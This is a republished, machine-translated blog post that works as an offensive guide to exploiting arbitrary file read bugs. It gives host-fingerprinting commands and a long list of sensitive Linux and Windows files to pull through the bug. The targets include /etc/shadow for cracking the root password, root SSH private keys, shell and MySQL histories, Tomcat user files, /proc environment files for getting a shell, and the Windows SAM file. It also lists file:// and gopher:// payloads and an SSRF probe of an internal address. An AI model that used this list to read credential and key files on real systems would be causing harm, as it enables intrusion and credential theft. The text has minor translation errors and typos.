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Arbitrary file reading vulnerability exploitation Guide
2022-04-23 10:23:00 【The goose is like a small drop of stone ~】
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original text https://woj.app/6663.html
The basic idea is to try to read sensitive files to get as much information as possible .
such as , /etc/issue Can confirm Linux The distribution of the host ,
among .bash_history, ssh Related path It may contain a lot of sensitive information ,
Get /etc/shadow Can be used directly John The Ripper Try enumerating root password .
Tomcat The console can read the user password /usr/local/tomcat/conf/tomcat-users.xml.
Incidentally, it provides some ideas for mining such vulnerabilities in the state of black box and white box , Mainly with PHP For example .
Make efficient use of dictionaries : https://github.com/ev0A/ArbitraryFileReadList
Determine the system type (Linux Specific release of )
uname -a
lsb_release -d
cat /etc/issue
cat /etc/os-release
cat /etc/redhat-release
cat /etc/debian_version
cat /etc/slackware_version
ls /etc/*version
cat /proc/version
cat /proc/cpuinfo
Other instructions ( Server process permission judgment )
Virtual machines can be constructed locally , Build a similar environment , Check the default path .
Server process permission judgment : adopt /etc/shadow, /proc/self/cwd Can you read it , You can judge the permissions of the process , Can be read (root), Do not read ( Not root)
Some files require high permissions to read
`.bash_history` # The history may carry the user's password ( Encountered real cases , It is the parameter in case of wrong input , For example, no input su But I thought I lost su)
/etc/passwd # User information
/etc/shadow # Read user password
/usr/local/tomcat/conf/tomcat-users.xml # tomcat User profile
/etc/hosts # Host information , Some Intranet domain names are usually configured
/root/.bashrc # environment variable
/root/.bash_history # Historical operation record
/home/username/.bash_history # Read the operation history of a specific user
/var/lib/mlocate/mlocate.db # The configuration information based on the information of all local files is known . High authority users are required to
/root/.viminfo # vim Information
/root/.ssh/id_rsa # Take the private key directly ssh
/proc/xxxx/cmdline # Process status enumeration xxxx It can be for 0000-9999 Use burpsuite
database config file
/etc/redis.conf # redis The configuration file
web journal access.log, error.log
ssh journal
/var/lib/php/sess_PHPSESSID # Unconventional questions session file ( Reference resources Together with Ping An Technology session contain http://www.jianshu.com/p/2c24ea34566b)
/proc/sched_debug # The configuration file can see the current running process and get the corresponding process information pid
/proc/pid/cmdline # You can see the corresponding pid The complete command line for the process .
/proc/net/fib_trie # Intranet IP
/proc/self/environ # environment variable
/proc/self/loginuid # The current user
# Internet Information
/proc/net/arp
/proc/net/tcp
/proc/net/udp
/proc/net/dev
A brief description of the fields in the dictionary
/proc/sched_debug # Provide cpu On the running process information , You can get the process pid Number , It can meet the needs of the later pid The use of
/proc/mounts # List of mounted file systems
/proc/net/arp # arp surface , You can get the addresses of other machines in the Intranet
/proc/net/route # Routing table information
/proc/net/tcp and /proc/net/udp # Active connection information
/proc/net/fib_trie # The routing cache
/proc/version # Kernel version
/proc/[PID]/cmdline # May contain useful path information
/proc/[PID]/environ # Information about the environment variables in which the program is running , Can be used to include getshell
/proc/[PID]/cwd # The working directory of the current process
/proc/[PID]/fd/[#] # visit file descriptors, A write condition can read to the file that the process is using , such as access.log
Apache
/home/httpd/
/home/httpd/www/
tomcat
/usr/local/services/apache-tomcat-8.0.23/logs
/usr/local/services/apache-tomcat-8.0.23/logs/catalina.out
Nginx
/etc/nginx/nginx.conf
/var/www/html
/usr/local/services/nginx-1.6.2/logs/access.log
/usr/local/services/nginx-1.6.2/logs/error.log
/usr/local/services/nginx-1.6.2/nginx.conf
/usr/local/services/nginx-1.6.2/conf/nginx.conf
/usr/local/services/nginx-1.6.2/conf/proxy.conf
/usr/local/services/nginx-1.6.2/conf/extra/haolaiyao.conf
jetty
/usr/local/services/jetty-8.1.16/
/usr/local/services/jetty-8.1.16/logs/stderrout.log
/usr/local/services/jetty-8.1.16/etc/jetty.xml
system proc
/proc/self/cmdline
/proc/self/stat
/proc/self/status
/proc/self/environ
/proc/verison
/proc/cmdline
/proc/self/cwd
/proc/self/fd/0
/proc/self/fd/1
/proc/self/fd/2
/proc/self/fd/3
/proc/self/fd/4
/proc/self/fd/5
/proc/self/fd/6
/proc/self/fd/7
/proc/self/fd/8
/proc/self/fd/9
/proc/self/fd/10
/proc/self/fd/11
/proc/self/fd/12
/proc/self/fd/13
/proc/self/fd/14
/proc/self/fd/15
/proc/self/fd/16
/proc/self/fd/17
/proc/self/fd/18
/proc/self/fd/19
/proc/self/fd/20
/proc/self/fd/21
/proc/self/fd/22
/proc/self/fd/23
/proc/self/fd/24
/proc/self/fd/25
/proc/self/fd/26
/proc/self/fd/27
/proc/self/fd/28
/proc/self/fd/29
/proc/self/fd/30
/proc/self/fd/31
/proc/self/fd/32
/proc/self/fd/33
/proc/self/fd/34
/proc/self/fd/35
/proc/sched_debug
/proc/mounts
/proc/net/arp
/proc/net/route
/proc/net/tcp
/proc/net/udp
/proc/net/fib_trie
/proc/version
ssh
/root/.ssh/id_rsa
/root/.ssh/id_rsa.pub
/root/.ssh/authorized_keys
/etc/ssh/sshd_config
/var/log/secure
network
/etc/sysconfig/network-scripts/ifcfg-eth0
/etc/syscomfig/network-scripts/ifcfg-eth1
application
/opt/nginx/conf/nginx.conf
/var/www/html/index.html
/root/.mysql_history
/root/.wget-hsts
/etc/my.cnf
common
/etc/passwd
/etc/shadow
/etc/hosts
/root/.bash_history
/root/.ssh/authorized_keys
/root/.mysql_history
/root/.wget-hsts
/var/www/html/index.html
protocol
file:///etc/passwd
gopher:///etc/passwd
ftp://
SSRF Intranet detection
url=http://10.29.5.24
Windows
C:\boot.ini // Check the system version
C:\Windows\System32\inetsrv\MetaBase.xml //IIS The configuration file
C:\Windows\repair\sam // Password for the initial installation of the storage system
C:\Program Files\mysql\my.ini //Mysql To configure
C:\Program Files\mysql\data\mysql\user.MYD //Mysql root
C:\Windows\php.ini //php Configuration information
C:\Windows\my.ini //Mysql Configuration information
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本文为[The goose is like a small drop of stone ~]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231020529070.html
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